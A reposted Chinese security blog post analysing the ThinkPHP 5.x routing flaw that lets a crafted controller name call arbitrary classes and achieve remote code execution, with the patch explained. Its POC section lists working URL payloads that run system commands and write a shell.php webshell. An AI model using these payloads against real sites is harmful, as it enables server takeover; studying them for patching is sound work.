内容简介:平时经常还是会写文章,不过越来越不愿意发博客了,写的也越来越随性,最近记流水账的几篇文章找出来一块发了。ThinkPHP是一套国内流行的开源PHP MVC开发框架,其中存在3.x和5.x两个版本,目前3.x已停止维护,5.x为15年正式推出的,基本上对3.x进行了重构,针对于路由,也舍弃了默认的方式,正是因为新的路由存在缺陷,导致任意函数的调用。
平时经常还是会写文章,不过越来越不愿意发博客了,写的也越来越随性,最近记流水账的几篇文章找出来一块发了。
0x00 介绍
ThinkPHP是一套国内流行的开源PHP MVC开发框架,其中存在3.x和5.x两个版本,目前3.x已停止维护,5.x为15年正式推出的,基本上对3.x进行了重构,针对于路由,也舍弃了默认的方式,正是因为新的路由存在缺陷,导致任意函数的调用。
0x01 知识背景
路由解析
?s=index/index/hello
tp5中路由舍弃了3.x中的 ?m=index&c=Index&a=hello 方式,而使用一个参数 s 传递所有信息, s=/index/Index/hello 中三部分分别代表 module , controller , action 。此次出现问题的部分便是 controller ,由于 ThinkPHP 中命名空间和自动加载的作用,每个类都可被访问到,即导致每个类都可被当做 controller 。
参数处理
<?php
namespace app\index\controller;
class Test
{
public function index($name){
return 'Hello '+$name;
}
}
?s=index/test/index&name=world
参数会自动处理,当然也可为数组,比如
?s=index/test/index&name[0]=world&&name[1]=xx
0x02 漏洞分析
在5.1.x中函数名为 parseModuleAndClass ,功能一样
parseClass() 函数:
正常情况下会对 name 进行处理,限制在 app\index\controller 命名空间。
这里的 name 即为 controller ,前置处理为获取到 module , controller , action ,将 controller 传入该函数处理。
当 name 中存在 \\ 时,直接将 name 赋值到 class ,不再进行 parseClass 操作,配合自动加载的机制从而导致可为任意命名空间下的类作为 controller ,任意 public 都可被用户访问到,结合 ThinkPHP5 内置的一些类和方法便可造成远程命令执行。
0x03 POC
thinkphp/library/think/App.php 304-320行
/**
* 执行函数或者闭包方法 支持参数调用
* @access public
* @param string|array|\Closure $function 函数或者闭包
* @param array $vars 变量
* @return mixed
*/
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
?s=index/thinkapp/invokefunction/function/call_user_func_array&vars[0]=system&vars[1][]=id
ReflectionFunction 为 PHP 中的反射类,反射调用 call_user_func_array , call_user_func_array 为回调函数,回调 system ,参数为 id
已知POC(来自t00ls):
1、?s=index/\think\Request/input&filter=phpinfo&data=1 2、?s=index/\think\Request/input&filter=system&data=id 3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E 4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E 5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 6、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 8、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
0x04 漏洞补丁
该补丁为 5.0.x 补丁, 5.1.x 位置不一样,方式一样。
补丁方式为限制 controller 只能为字母和数字。并且放在 controller 处理之前。
0x04 总结
简单来说这个洞是由于用户控制了 controller 导致的,开发者将处理 controller 的代码封装到了 Loader.php ,并且与其他功能进行代码复用,为了满足其他功能增加的功能(即特殊处理存在 \\ 的参数),从而导致了漏洞。 代码复用是开发者优质的习惯,但也需要严格审核是否因为书写复用代码时是否会造成漏洞。
另外,可以看到这是一个非常浅显的洞,至今没有人发现,最终由官方爆出,也许很多用户默认此开源框架“流行 == 安全”,其实很多应用并不是想象中的完全安全,漏洞经常发生在被人忽视的地方。
著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/125/
来源:https://p0sec.net/
以上所述就是小编给大家介绍的《ThinkPHP5.x 路由缺陷导致远程代码执行》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 大多数路由器都存在固件缺陷使用户面临风险
- 从0到1创建高效的产品缺陷管理流程(1):缺陷是什么? 如何建立缺陷管理流程?
- 为什么说缺陷去除效率比测试缺陷率更适合软件质量度量?
- 缺陷数据就是个宝藏
- 修复缺陷的正确姿势
- 网站用户宝典:25个缺陷跟踪工具
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Kubernetes权威指南
龚正、吴治辉、王伟、崔秀龙、闫健勇、崔晓宁、刘晓红 / 电子工业出版社 / 2016-10 / 99
Kubernetes是由谷歌开源的Docker容器集群管理系统,为容器化的应用提供了资源调度、部署运行、服务发现、扩容及缩容等一整套功能。《Kubernetes权威指南:从Docker到Kubernetes实践全接触(第2版)》从一个开发者的角度去理解、分析和解决问题,囊括了Kubernetes入门、核心原理、实践指南、开发指导、高级案例、运维指南及源码分析等方面的内容,图文并茂、内容丰富、由浅入......一起来看看 《Kubernetes权威指南》 这本书的介绍吧!